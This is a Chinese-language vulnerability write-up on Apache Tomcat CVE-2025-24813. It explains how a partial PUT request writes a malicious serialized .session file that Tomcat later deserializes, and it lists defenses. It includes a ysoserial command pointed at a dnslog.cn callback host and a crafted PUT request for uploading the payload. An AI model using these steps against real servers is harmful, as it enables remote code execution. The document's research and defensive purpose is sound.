Tomcat 漏洞分析(CVE-2025-24813)
字数 1044 2025-08-30 06:50:35

Tomcat 反序列化漏洞分析(CVE-2025-24813) 教学文档

漏洞概述

CVE-2025-24813 是 Apache Tomcat 中存在的一个反序列化漏洞,攻击者可以通过构造特殊的 HTTP PUT 请求将恶意序列化数据写入服务器会话文件,当服务器读取这些文件时触发反序列化操作,可能导致远程代码执行(RCE)。

漏洞环境配置

  1. 启用 PUT 请求支持
    • 默认情况下 Tomcat 的 PUT 请求功能是关闭的
    • 需要修改 conf/web.xml 文件中的 readonly 参数值为 false
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

漏洞分析

序列化文件写入过程

  1. PUT 请求处理

    • Tomcat 处理 PUT 请求时会调用 executePartialPut 方法创建文件
    • 文件路径由请求的 URL 决定 (getRelativePath(req))
  2. 关键代码

// 设置文件路径,文件路径就是url
String path = getRelativePath(req);
InputStream resourceInputStream = null;
// 创建文件
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile)
  1. 文件存储位置
    • 默认存储在 work/Catalina/localhost/ROOT 目录下
    • 文件扩展名为 .session

反序列化触发点

  1. 反序列化入口

    • 漏洞触发点在 session.readObjectData(ois)
    • ois 是通过 FileInputStream 读取的恶意文件
  2. 会话ID控制

    • 文件路径由 id + FILE_EXT(.session) 组成
    • id 来源于 Request 类的 requestedSessionId 属性
    • 通过 parseSessionCookiesId 方法设置会话ID

漏洞利用步骤

1. 生成恶意序列化数据

使用 ysoserial 工具生成 payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://op9gyt.dnslog.cn > 2.bin

2. 构造HTTP请求上传恶意文件

PUT /jc/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 5000
Content-Range: bytes 0-5000/5200

{{file(C:\Users\jc\Downloads\2.bin)}}

3. 触发反序列化

当服务器读取该会话文件时,会自动触发反序列化操作,执行payload中的恶意代码。

防御措施

  1. 保持 readonly 参数为 true(默认值)
  2. 禁用不必要的 HTTP 方法(如 PUT、DELETE 等)
  3. 升级到修复版本(当官方发布补丁后)
  4. 实施输入验证,特别是对会话ID的处理
  5. 使用安全管理器限制反序列化操作

参考

  • 本文参考了 jweny 师傅分享的《全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现》
  • ysoserial 工具:https://github.com/frohoff/ysoserial

注:本教学文档仅供安全研究和防御使用,请勿用于非法用途。

Tomcat 反序列化漏洞分析(CVE-2025-24813) 教学文档 漏洞概述 CVE-2025-24813 是 Apache Tomcat 中存在的一个反序列化漏洞,攻击者可以通过构造特殊的 HTTP PUT 请求将恶意序列化数据写入服务器会话文件,当服务器读取这些文件时触发反序列化操作,可能导致远程代码执行(RCE)。 漏洞环境配置 启用 PUT 请求支持 : 默认情况下 Tomcat 的 PUT 请求功能是关闭的 需要修改 conf/web.xml 文件中的 readonly 参数值为 false 漏洞分析 序列化文件写入过程 PUT 请求处理 : Tomcat 处理 PUT 请求时会调用 executePartialPut 方法创建文件 文件路径由请求的 URL 决定 ( getRelativePath(req) ) 关键代码 : 文件存储位置 : 默认存储在 work/Catalina/localhost/ROOT 目录下 文件扩展名为 .session 反序列化触发点 反序列化入口 : 漏洞触发点在 session.readObjectData(ois) ois 是通过 FileInputStream 读取的恶意文件 会话ID控制 : 文件路径由 id + FILE_EXT(.session) 组成 id 来源于 Request 类的 requestedSessionId 属性 通过 parseSessionCookiesId 方法设置会话ID 漏洞利用步骤 1. 生成恶意序列化数据 使用 ysoserial 工具生成 payload: 2. 构造HTTP请求上传恶意文件 3. 触发反序列化 当服务器读取该会话文件时,会自动触发反序列化操作,执行payload中的恶意代码。 防御措施 保持 readonly 参数为 true (默认值) 禁用不必要的 HTTP 方法 (如 PUT、DELETE 等) 升级到修复版本 (当官方发布补丁后) 实施输入验证 ,特别是对会话ID的处理 使用安全管理器 限制反序列化操作 参考 本文参考了 jweny 师傅分享的《全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现》 ysoserial 工具:https://github.com/frohoff/ysoserial 注:本教学文档仅供安全研究和防御使用,请勿用于非法用途。